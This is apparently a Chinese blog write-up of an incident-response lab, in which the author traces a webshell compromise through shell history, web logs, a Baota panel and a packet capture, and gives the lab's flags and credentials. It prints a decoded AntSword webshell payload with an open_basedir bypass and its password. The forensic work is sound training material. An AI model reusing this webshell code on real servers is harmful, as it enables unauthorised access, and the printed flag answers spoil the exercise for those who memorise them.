2024-10-30🌱湖州: ⛅️ 🌡️+18°C 🌬️↓4km/h

靶机来源

https://mp.weixin.qq.com/s?__biz=MzkxMTUwOTY1MA==&mid=2247485625&idx=1&sn=ec58f917314da2fee442a94bce81ce9d&chksm=c11a5944f66dd0526a43531f5afdaec58e39dea79df0fbcf413269cb9d5ce54fb1fd1077176a&scene=178&cur_album_id=3245764910756954116&poc_token=HFzoIWej8_HsucBEYhi_jxzHUMoo7djIMJJQd06_

挑战内容

前景需要:看监控的时候发现webshell告警,领导让你上机检查你可以救救安服仔吗!!

1,提交攻击者IP

2,提交攻击者修改的管理员密码(明文)

3,提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)

3,提交Webshell连接密码

4,提交数据包的flag1

5,提交攻击者使用的后续上传的木马文件名称

6,提交攻击者隐藏的flag2

7,提交攻击者隐藏的flag3

相关账户密码:

root/Inch@957821.

基础信息收集

  • 查看历史命令

history


发现flag3:flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

因为靶机打开只有一个终端,而且也没有下vmtools,使用起来不太方便,所以下面使用xshell连接了
之前的命令还创建了.api文件夹,并且将当前所在的所有文件复制到该文件夹中

在alinotify.php文件中发现了flag2:flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

  • 查看登录信息
    last

找到了一个可疑IP:192.168.20.1

  • 查看所有用户
1
cat /etc/passwd

并没有发现新建的可疑用户

系统安装包检查

这次检查直接从这里开始,可以提高效率,减少需要检查的文件

1
rpm -V -a


比较可疑的文件修改
/root/.bashrc

没有发现可疑的地方

寻找webshell

将网站的目录上传到本地,然后使用D盾扫描,然而没有扫描出来

查看web日志

找到web日志路径:/www/wwwlogs


首先查看错误日志:127.0.0.1.error.log
cat 127.0.0.1.error.log

发现了许多的爆破目录的错误请求,并且发现第二个可疑IP:192.168.20.131

  • 查看连接日志
    cat access.log

登录宝塔查看日志

修改/www/server/panel/vhost/nginx/127.0.0.1.conf配置文件中的地址为自己的虚拟机的地址

命令行输入bt
然后选择5,修改面版密码,选择28,修改面板安全入口

然后选择1,重启面板服务

用户名: uysycv5w
新密码: 123456

然后使用如下地址访问宝塔面板

http://192.168.74.135:12485/qwerty

宝塔面板防护很强,没有什么问题,应该就是下面的网站存在问题
登陆成功后,打开数据库查看

发现了用户名和密码的表格

第一个用户的密码可以解密

然后使用上面的账号登录查看

分析流量包

还有一个流量包没有分析,将流量包下载到本地进行分析,然后追踪http流,发现了很多index.php?user-app-register这个路由

由这个流量可以得知,webshell的密码是Network2020
将之进行URL解密后美化一下代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
Network2020 = @ini_set("display_errors", "0");@
set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);@
array_push($oparr, $ocwd, sys_get_temp_dir());
foreach($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
$tmdir = $item.
"/.24b0d";@
mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);@
chdir($tmdir);@
ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {@
chdir("..");
};@
ini_set("open_basedir", "/");@
rmdir($tmdir);
break;
};
};;

function asenc($out) {
return $out;
};

function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "02e".
"9bd";
echo@ asenc($output);
echo "6f2".
"72a8";
}
ob_start();
try {
$D = base64_decode(substr($_POST["x0b6b31b98f31d"], 2));
$F = @opendir($D);
if ($F == NULL) {
echo("ERROR:// Path Not Found Or No Permission!");
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D.$N;
$T = @date("Y-m-d H:i:s", @filemtime($P));@
$E = substr(base_convert(@fileperms($P), 10, 8), -4);
$R = " ".$T.
" ".@filesize($P).
" ".$E.
"
";if(@is_dir($P))$M.=$N." / ".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e){echo "
ERROR: //".$e->getMessage();};asoutput();die();&x0b6b31b98f31d=TtL3d3dy93d3dyb290LzEyNy4wLjAuMS8=

以上的代码很明显是蚁剑的流量,最后的字符串去掉两位base64解密出来是路径

继续查看流量包发现了flag1:flag1{Network@_2020_Hack}

继续往下翻,发现后面全是/version2.php的路由,这应该就是后续上传的木马文件名称


这是一个蚂剑木马的流量,它的连接时Kepp-Alive的

总结

经过这一次的靶机练习,我发现我还是有很多的不足,比如蚁剑和冰蝎的流量并不是很熟悉,宝塔面板的操作也不熟悉,以后有时间再加强一下吧